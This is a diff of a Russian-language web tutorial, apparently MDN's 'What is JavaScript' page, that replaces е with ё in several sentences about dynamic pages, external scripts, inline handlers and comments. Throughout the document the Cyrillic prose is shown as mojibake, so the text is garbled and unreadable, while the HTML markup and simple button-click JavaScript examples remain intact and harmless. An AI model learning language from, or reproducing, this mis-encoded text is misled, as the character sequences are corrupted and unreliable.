ΠΌΠ΅Ρ€Π΅ нСобходимости. Π‘Π΅Ρ€Π²Π΅Ρ€Π½Ρ‹ΠΉ ΠΊΠΎΠ΄ динамичСски Π³Π΅Π½Π΅Ρ€ΠΈΡ€ΡƒΠ΅Ρ‚ Π½ΠΎΠ²Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ Π½Π° сСрвСрС, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ достаСт Π΄Π°Π½Π½Ρ‹Π΅ ΠΈΠ· Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ…, Ρ‚ΠΎΠ³Π΄Π° ΠΊΠ°ΠΊ клиСнтский JavaScript динамичСски Π³Π΅Π½Π΅Ρ€ΠΈΡ€ΡƒΠ΅Ρ‚ Π½ΠΎΠ²ΠΎΠ΅ содСрТаниС Π²Π½ΡƒΡ‚Ρ€ΠΈ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° Π½Π° ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π΅, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ создаСт Π½ΠΎΠ²ΡƒΡŽ HTML Ρ‚Π°Π±Π»ΠΈΡ†Ρƒ, вставляя Π² Π½Π΅Π΅ Π΄Π°Π½Π½Ρ‹Π΅ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½Ρ‹Π΅ с сСрвСра, Π·Π°Ρ‚Π΅ΠΌ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅Ρ‚ Ρ‚Π°Π±Π»ΠΈΡ†Ρƒ Π½Π° Π²Π΅Π±-страницС, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π²ΠΈΠ΄ΠΈΡ‚ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ. Π’ этих Π΄Π²ΡƒΡ… контСкстах Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ отличаСтся, Π½ΠΎ связано, ΠΈ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ ΠΎΠ±Π° ΠΏΠΎΠ΄Ρ…ΠΎΠ΄Π° (сСрвСрный ΠΈ клиСнтский) Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‚ вмСстС.</p>
+<p>Π‘Π»ΠΎΠ²ΠΎ <strong>динамичСский</strong> ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для описания ΠΈ клиСнтского JavaScript, ΠΈ сСрвСрного языка β€” это относится ΠΊ возмоТности обновлСния отобраТСния Π²Π΅Π±-страницы/прилоТСния, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Ρ‚ΡŒ Ρ€Π°Π·Π½Ρ‹Π΅ Π²Π΅Ρ‰ΠΈ Π² Ρ€Π°Π·Π½Ρ‹Ρ… ΠΎΠ±ΡΡ‚ΠΎΡΡ‚Π΅Π»ΡŒΡΡ‚Π²Π°Ρ…, гСнСрируя Π½ΠΎΠ²Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ ΠΏΠΎ ΠΌΠ΅Ρ€Π΅ нСобходимости. Π‘Π΅Ρ€Π²Π΅Ρ€Π½Ρ‹ΠΉ ΠΊΠΎΠ΄ динамичСски Π³Π΅Π½Π΅Ρ€ΠΈΡ€ΡƒΠ΅Ρ‚ Π½ΠΎΠ²Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ Π½Π° сСрвСрС, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ достаёт Π΄Π°Π½Π½Ρ‹Π΅ ΠΈΠ· Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ…, Ρ‚ΠΎΠ³Π΄Π° ΠΊΠ°ΠΊ клиСнтский JavaScript динамичСски Π³Π΅Π½Π΅Ρ€ΠΈΡ€ΡƒΠ΅Ρ‚ Π½ΠΎΠ²ΠΎΠ΅ содСрТаниС Π²Π½ΡƒΡ‚Ρ€ΠΈ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° Π½Π° ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π΅, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ создаёт Π½ΠΎΠ²ΡƒΡŽ HTML Ρ‚Π°Π±Π»ΠΈΡ†Ρƒ, вставляя Π² Π½Π΅Ρ‘ Π΄Π°Π½Π½Ρ‹Π΅ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½Ρ‹Π΅ с сСрвСра, Π·Π°Ρ‚Π΅ΠΌ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅Ρ‚ Ρ‚Π°Π±Π»ΠΈΡ†Ρƒ Π½Π° Π²Π΅Π±-страницС, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π²ΠΈΠ΄ΠΈΡ‚ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ. Π’ этих Π΄Π²ΡƒΡ… контСкстах Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ отличаСтся, Π½ΠΎ связано, ΠΈ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ ΠΎΠ±Π° ΠΏΠΎΠ΄Ρ…ΠΎΠ΄Π° (сСрвСрный ΠΈ клиСнтский) Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‚ вмСстС.</p>
<p>Π’Π΅Π±-страница Π±Π΅Π· динамичСского обновлСния ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° называСтся <strong>статичСской</strong> β€” ΠΎΠ½Π° просто ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ ΠΎΠ΄ΠΈΠ½ ΠΈ Ρ‚ΠΎΡ‚ ΠΆΠ΅ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ всС врСмя.</p>
@@ -189,7 +189,7 @@ function updateName() {
<ol>
<li>Π‘Π½Π°Ρ‡Π°Π»Π°, сдСлайтС Π»ΠΎΠΊΠ°Π»ΡŒΠ½ΡƒΡŽ копию нашСго Ρ„Π°ΠΉΠ»Π°-ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°Β <a href="https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/what-is-js/apply-javascript.html">apply-javascript.html</a>. Π‘ΠΎΡ…Ρ€Π°Π½ΠΈΡ‚Π΅ Π΅Π³ΠΎ Π² ΡƒΠ΄ΠΎΠ±Π½ΠΎΠ΅ для вас мСсто.</li>
- <li>ΠžΡ‚ΠΊΡ€ΠΎΠΉΡ‚Π΅ этот Ρ„Π°ΠΉΠ» Π² вашСм Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅ ΠΈ Π² вашСм тСкстовом Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€Π΅. Π’Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎ HTML создаСт ΠΏΡ€ΠΎΡΡ‚ΡƒΡŽ Π²Π΅Π±-страницу с Π°ΠΊΡ‚ΠΈΠ²Π½ΠΎΠΉ ΠΊΠ½ΠΎΠΏΠΊΠΎΠΉ.</li>
+ <li>ΠžΡ‚ΠΊΡ€ΠΎΠΉΡ‚Π΅ этот Ρ„Π°ΠΉΠ» Π² вашСм Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅ ΠΈ Π² вашСм тСкстовом Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€Π΅. Π’Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎ HTML создаёт ΠΏΡ€ΠΎΡΡ‚ΡƒΡŽ Π²Π΅Π±-страницу с Π°ΠΊΡ‚ΠΈΠ²Π½ΠΎΠΉ ΠΊΠ½ΠΎΠΏΠΊΠΎΠΉ.</li>
<li>Π—Π°Ρ‚Π΅ΠΌ, ΠΏΠ΅Ρ€Π΅ΠΉΠ΄ΠΈΡ‚Π΅ Π² тСкстовый Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€ ΠΈ Π΄ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ строки ΠΏΠ΅Ρ€Π΅Π΄ Π·Π°ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΌΒ Ρ‚Π΅Π³ΠΎΠΌΒ <code>&lt;/head&gt;</code>:
<pre class="brush: html">&lt;script&gt;
@@ -212,11 +212,11 @@ function updateName() {
}
});</pre>
</li>
- <li>Π‘ΠΎΡ…Ρ€Π°Π½ΠΈΡ‚Π΅ Ρ„Π°ΠΉΠ» ΠΈ ΠΎΠ±Π½ΠΎΠ²ΠΈΡ‚Π΅ страницу Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅Β β€” Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΈ Π½Π°ΠΆΠ°Ρ‚ΠΈΠΈ Π½Π° ΠΊΠ½ΠΎΠΏΠΊΡƒ создаСтся Π½ΠΎΠ²Ρ‹ΠΉ Π°Π±Π·Π°Ρ† ΠΈ помСщаСтся Π½ΠΈΠΆΠ΅.</li>
+ <li>Π‘ΠΎΡ…Ρ€Π°Π½ΠΈΡ‚Π΅ Ρ„Π°ΠΉΠ» ΠΈ ΠΎΠ±Π½ΠΎΠ²ΠΈΡ‚Π΅ страницу Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅Β β€” Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΈ Π½Π°ΠΆΠ°Ρ‚ΠΈΠΈ Π½Π° ΠΊΠ½ΠΎΠΏΠΊΡƒ создаётся Π½ΠΎΠ²Ρ‹ΠΉ Π°Π±Π·Π°Ρ† ΠΈ помСщаСтся Π½ΠΈΠΆΠ΅.</li>
</ol>
<div class="note">
-<p><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°</strong>: Если ваш ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π½Π΅ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚, ΠΏΡ€ΠΎΠΉΠ΄ΠΈΡ‚Π΅ Π΅Ρ‰Π΅ Ρ€Π°Π· всС шаги ΠΈ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡŒΡ‚Π΅, сдСлали Π»ΠΈ Π²Ρ‹ всС ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ. Π‘ΠΎΡ…Ρ€Π°Π½ΠΈΠ»ΠΈ Π»ΠΈ Π²Ρ‹ Π²Π°ΡˆΡƒ Π»ΠΎΠΊΠ°Π»ΡŒΠ½ΡƒΡŽ копию Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ ΠΊΠΎΠ΄Π°, ΠΊΠ°ΠΊ <code>.html</code> Ρ„Π°ΠΉΠ»? Π”ΠΎΠ±Π°Π²ΠΈΠ»ΠΈ Π»ΠΈ ваш {{htmlelement("script")}} элСмСнт послС тэга <code>&lt;/body&gt;</code>? Π’Π²Π΅Π»ΠΈ Π»ΠΈ Π²Ρ‹ JavaScript ΠΈΠΌΠ΅Π½Π½ΠΎ Ρ‚Π°ΠΊ, ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ? <strong>JavaScript рСгистрозависимый, ΠΈ ΠΎΡ‡Π΅Π½ΡŒ ΠΏΡ€ΠΈΠ²Π΅Ρ€Π΅Π΄Π»ΠΈΠ²Ρ‹ΠΉ. ΠŸΠΎΡΡ‚ΠΎΠΌΡƒ Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π²Π²ΠΎΠ΄ΠΈΡ‚ΡŒ синтаксис ΠΈΠΌΠ΅Π½Π½ΠΎ Ρ‚Π°ΠΊ, ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ, Π² ΠΏΡ€ΠΎΡ‚ΠΈΠ²Π½ΠΎΠΌ случаС ΠΎΠ½ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ Π½Π΅ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ.</strong></p>
+<p><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°</strong>: Если ваш ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π½Π΅ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚, ΠΏΡ€ΠΎΠΉΠ΄ΠΈΡ‚Π΅ Π΅Ρ‰Ρ‘ Ρ€Π°Π· всС шаги ΠΈ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡŒΡ‚Π΅, сдСлали Π»ΠΈ Π²Ρ‹ всС ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ. Π‘ΠΎΡ…Ρ€Π°Π½ΠΈΠ»ΠΈ Π»ΠΈ Π²Ρ‹ Π²Π°ΡˆΡƒ Π»ΠΎΠΊΠ°Π»ΡŒΠ½ΡƒΡŽ копию Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ ΠΊΠΎΠ΄Π°, ΠΊΠ°ΠΊ <code>.html</code> Ρ„Π°ΠΉΠ»? Π”ΠΎΠ±Π°Π²ΠΈΠ»ΠΈ Π»ΠΈ ваш {{htmlelement("script")}} элСмСнт послС тэга <code>&lt;/body&gt;</code>? Π’Π²Π΅Π»ΠΈ Π»ΠΈ Π²Ρ‹ JavaScript ΠΈΠΌΠ΅Π½Π½ΠΎ Ρ‚Π°ΠΊ, ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ? <strong>JavaScript рСгистрозависимый, ΠΈ ΠΎΡ‡Π΅Π½ΡŒ ΠΏΡ€ΠΈΠ²Π΅Ρ€Π΅Π΄Π»ΠΈΠ²Ρ‹ΠΉ. ΠŸΠΎΡΡ‚ΠΎΠΌΡƒ Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π²Π²ΠΎΠ΄ΠΈΡ‚ΡŒ синтаксис ΠΈΠΌΠ΅Π½Π½ΠΎ Ρ‚Π°ΠΊ, ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ, Π² ΠΏΡ€ΠΎΡ‚ΠΈΠ²Π½ΠΎΠΌ случаС ΠΎΠ½ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ Π½Π΅ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ.</strong></p>
</div>
<div class="note">
@@ -225,7 +225,7 @@ function updateName() {
<h3 id="Π’Π½Π΅ΡˆΠ½ΠΈΠΉ_JavaScript">Π’Π½Π΅ΡˆΠ½ΠΈΠΉ JavaScript</h3>
-<p>Π­Ρ‚ΠΎ ΠΎΡ‚Π»ΠΈΡ‡Π½ΠΎ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚, Π½ΠΎ Ρ‡Ρ‚ΠΎ Ссли ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ ΠΏΠΎΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ наш JavaScript Π² ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹ΠΉ Ρ„Π°ΠΉΠ»? Π”Π°Π²Π°ΠΉΡ‚Π΅ сСйчас разбСрСмся с этим.</p>
+<p>Π­Ρ‚ΠΎ ΠΎΡ‚Π»ΠΈΡ‡Π½ΠΎ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚, Π½ΠΎ Ρ‡Ρ‚ΠΎ Ссли ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ ΠΏΠΎΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ наш JavaScript Π² ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹ΠΉ Ρ„Π°ΠΉΠ»? Π”Π°Π²Π°ΠΉΡ‚Π΅ сСйчас разбСрёмся с этим.</p>
<ol>
<li>Π‘Π½Π°Ρ‡Π°Π»Π°, создайтС Π½ΠΎΠ²Ρ‹ΠΉ Ρ„Π°ΠΉΠ» Π² Ρ‚ΠΎΠΉ ΠΆΠ΅ ΠΏΠ°ΠΏΠΊΠ΅, Ρ‡Ρ‚ΠΎ ΠΈ ваш Ρ„Π°ΠΉΠ»-ΠΏΡ€ΠΈΠΌΠ΅Ρ€Β HTML. НазовитС Π΅Π³ΠΎΒ <code>script.js</code> β€” ΡƒΠ±Π΅Π΄ΠΈΡ‚Π΅ΡΡŒ, Ρ‡Ρ‚ΠΎ Ρƒ ΠΈΠΌΠ΅Π½ΠΈ Ρ„Π°ΠΉΠ»Π° Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅ .js, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ ΠΎΠ½ΠΎ распознаСтся, ΠΊΠ°ΠΊΒ JavaScript.</li>
@@ -254,7 +254,7 @@ for(let i = 0; i &lt; buttons.length ; i++) {
<h3 id="Π˜Π½Π»Π°ΠΉΠ½ΠΎΠ²Ρ‹Π΅_JavaScript_ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ">Π˜Π½Π»Π°ΠΉΠ½ΠΎΠ²Ρ‹Π΅ JavaScript ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ</h3>
-<p>ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ ΠΈΠ½ΠΎΠ³Π΄Π° ΠΌΠΎΠΆΠ½ΠΎ ΡΡ‚ΠΎΠ»ΠΊΠ½ΡƒΡ‚ΡŒΡΡ с частями JavaScript ΠΊΠΎΠ΄Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΆΠΈΠ²Π΅Ρ‚ Π²Π½ΡƒΡ‚Ρ€ΠΈ HTML. Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π½ΠΎ Ρ‚Π°ΠΊ:</p>
+<p>ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ ΠΈΠ½ΠΎΠ³Π΄Π° ΠΌΠΎΠΆΠ½ΠΎ ΡΡ‚ΠΎΠ»ΠΊΠ½ΡƒΡ‚ΡŒΡΡ с частями JavaScript ΠΊΠΎΠ΄Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΆΠΈΠ²Ρ‘Ρ‚ Π²Π½ΡƒΡ‚Ρ€ΠΈ HTML. Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π½ΠΎ Ρ‚Π°ΠΊ:</p>
<div id="Inline_JavaScript_handlers">
<pre class="brush: js example-bad">function createParagraph() {
@@ -285,7 +285,7 @@ for(let i = 0; i &lt; buttons.length ; i++) {
<p>Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ Π΄Π»ΠΈΠ½Π½Π΅Π΅, Ρ‡Π΅ΠΌ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Β <code>onclick</code>, Π½ΠΎ это Π±ΡƒΠ΄Π΅Ρ‚ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ для всСх ΠΊΠ½ΠΎΠΏΠΎΠΊ, нСзависимо ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ, сколько ΠΈΡ… Π½Π° страницС, ΠΈ сколько ΠΈΡ… удалят ΠΈΠ»ΠΈ добавят. JavaScript ΠΌΠ΅Π½ΡΡ‚ΡŒ Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ.</p>
<div class="note">
-<p><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°</strong>: ΠŸΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ΠΎΡ‚Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π²Π°ΡˆΡƒ Π²Π΅Ρ€ΡΠΈΡŽ <code>apply-javascript.html</code>Β ΠΈ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ Π΅Ρ‰Π΅ нСсколько ΠΊΠ½ΠΎΠΏΠΎΠΊ Π² Ρ„Π°ΠΉΠ». ПослС ΠΏΠ΅Ρ€Π΅Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ всС ΠΊΠ½ΠΎΠΏΠΊΠΈ ΡΠΎΠ·Π΄Π°ΡŽΡ‚ ΠΏΠ°Ρ€Π°Π³Ρ€Π°Ρ„, Ссли ΠΊΠ»ΠΈΠΊΠ½ΡƒΡ‚ΡŒ Π½Π° Π½ΠΈΡ…. Классно, Π΄Π°?</p>
+<p><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°</strong>: ΠŸΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ΠΎΡ‚Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π²Π°ΡˆΡƒ Π²Π΅Ρ€ΡΠΈΡŽ <code>apply-javascript.html</code>Β ΠΈ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ Π΅Ρ‰Ρ‘ нСсколько ΠΊΠ½ΠΎΠΏΠΎΠΊ Π² Ρ„Π°ΠΉΠ». ПослС ΠΏΠ΅Ρ€Π΅Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ всС ΠΊΠ½ΠΎΠΏΠΊΠΈ ΡΠΎΠ·Π΄Π°ΡŽΡ‚ ΠΏΠ°Ρ€Π°Π³Ρ€Π°Ρ„, Ссли ΠΊΠ»ΠΈΠΊΠ½ΡƒΡ‚ΡŒ Π½Π° Π½ΠΈΡ…. Классно, Π΄Π°?</p>
</div>
<h3 id="Π‘Ρ‚Ρ€Π°Ρ‚Π΅Π³ΠΈΠΈ_Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ_скриптов">Π‘Ρ‚Ρ€Π°Ρ‚Π΅Π³ΠΈΠΈ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ скриптов</h3>
@@ -294,7 +294,7 @@ for(let i = 0; i &lt; buttons.length ; i++) {
<h2 id="ΠšΠΎΠΌΠΌΠ΅Π½Ρ‚Π°Ρ€ΠΈΠΈ">ΠšΠΎΠΌΠΌΠ΅Π½Ρ‚Π°Ρ€ΠΈΠΈ</h2>
-<p>Π’Π°ΠΊ ΠΆΠ΅, ΠΊΠ°ΠΊ ΠΈ Π² HTML ΠΈ CSS, Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠΈΡΠ°Ρ‚ΡŒ ΠΊΠΎΠΌΠΌΠ΅Π½Ρ‚Π°Ρ€ΠΈΠΈ Π² вашСм JavaScript ΠΊΠΎΠ΄Π΅, Ρ‡Ρ‚ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€ΠΎΠΈΠ³Π½ΠΎΡ€ΠΈΡ€ΠΎΠ²Π°Π½ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ, ΠΈ сущСствуСт Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π΄Π°Π²Π°Ρ‚ΡŒ подсказки вашим Π΄Ρ€ΡƒΠ·ΡŒΡΠΌ-Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°ΠΌ ΠΎ Ρ‚ΠΎΠΌ, ΠΊΠ°ΠΊ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ ΠΊΠΎΠ΄ (ΠΈ Π»ΠΈΡ‡Π½ΠΎ Π²Π°ΠΌ, Ссли Π²Ρ‹ Π²Π΅Ρ€Π½Π΅Ρ‚Π΅ΡΡŒ ΠΊ ΠΊΠΎΠ΄Ρƒ спустя 6 мСсяцСв ΠΈ Π½Π΅ смоТСтС Π²ΡΠΏΠΎΠΌΠ½ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ Π΄Π΅Π»Π°Π»ΠΈ). ΠšΠΎΠΌΠΌΠ΅Π½Ρ‚Π°Ρ€ΠΈΠΈ ΠΎΡ‡Π΅Π½ΡŒ ΠΏΠΎΠ»Π΅Π·Π½Ρ‹, ΠΈ Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ часто ΠΈΡ… ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ, особСнно для Π±ΠΎΠ»ΡŒΡˆΠΈΡ… ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ. Π’ΠΎΡ‚ Π΄Π²Π° Ρ‚ΠΈΠΏΠ° ΠΊΠΎΠΌΠΌΠ΅Π½Ρ‚Π°Ρ€ΠΈΠ΅Π²:</p>
+<p>Π’Π°ΠΊ ΠΆΠ΅, ΠΊΠ°ΠΊ ΠΈ Π² HTML ΠΈ CSS, Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠΈΡΠ°Ρ‚ΡŒ ΠΊΠΎΠΌΠΌΠ΅Π½Ρ‚Π°Ρ€ΠΈΠΈ Π² вашСм JavaScript ΠΊΠΎΠ΄Π΅, Ρ‡Ρ‚ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€ΠΎΠΈΠ³Π½ΠΎΡ€ΠΈΡ€ΠΎΠ²Π°Π½ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ, ΠΈ сущСствуСт Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π΄Π°Π²Π°Ρ‚ΡŒ подсказки вашим Π΄Ρ€ΡƒΠ·ΡŒΡΠΌ-Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°ΠΌ ΠΎ Ρ‚ΠΎΠΌ, ΠΊΠ°ΠΊ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ ΠΊΠΎΠ΄ (ΠΈ Π»ΠΈΡ‡Π½ΠΎ Π²Π°ΠΌ, Ссли Π²Ρ‹ Π²Π΅Ρ€Π½Ρ‘Ρ‚Π΅ΡΡŒ ΠΊ ΠΊΠΎΠ΄Ρƒ спустя 6 мСсяцСв ΠΈ Π½Π΅ смоТСтС Π²ΡΠΏΠΎΠΌΠ½ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ Π΄Π΅Π»Π°Π»ΠΈ). ΠšΠΎΠΌΠΌΠ΅Π½Ρ‚Π°Ρ€ΠΈΠΈ ΠΎΡ‡Π΅Π½ΡŒ ΠΏΠΎΠ»Π΅Π·Π½Ρ‹, ΠΈ Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ часто ΠΈΡ… ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ, особСнно для Π±ΠΎΠ»ΡŒΡˆΠΈΡ… ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ. Π’ΠΎΡ‚ Π΄Π²Π° Ρ‚ΠΈΠΏΠ° ΠΊΠΎΠΌΠΌΠ΅Π½Ρ‚Π°Ρ€ΠΈΠ΅Π²:</p>
<ul>
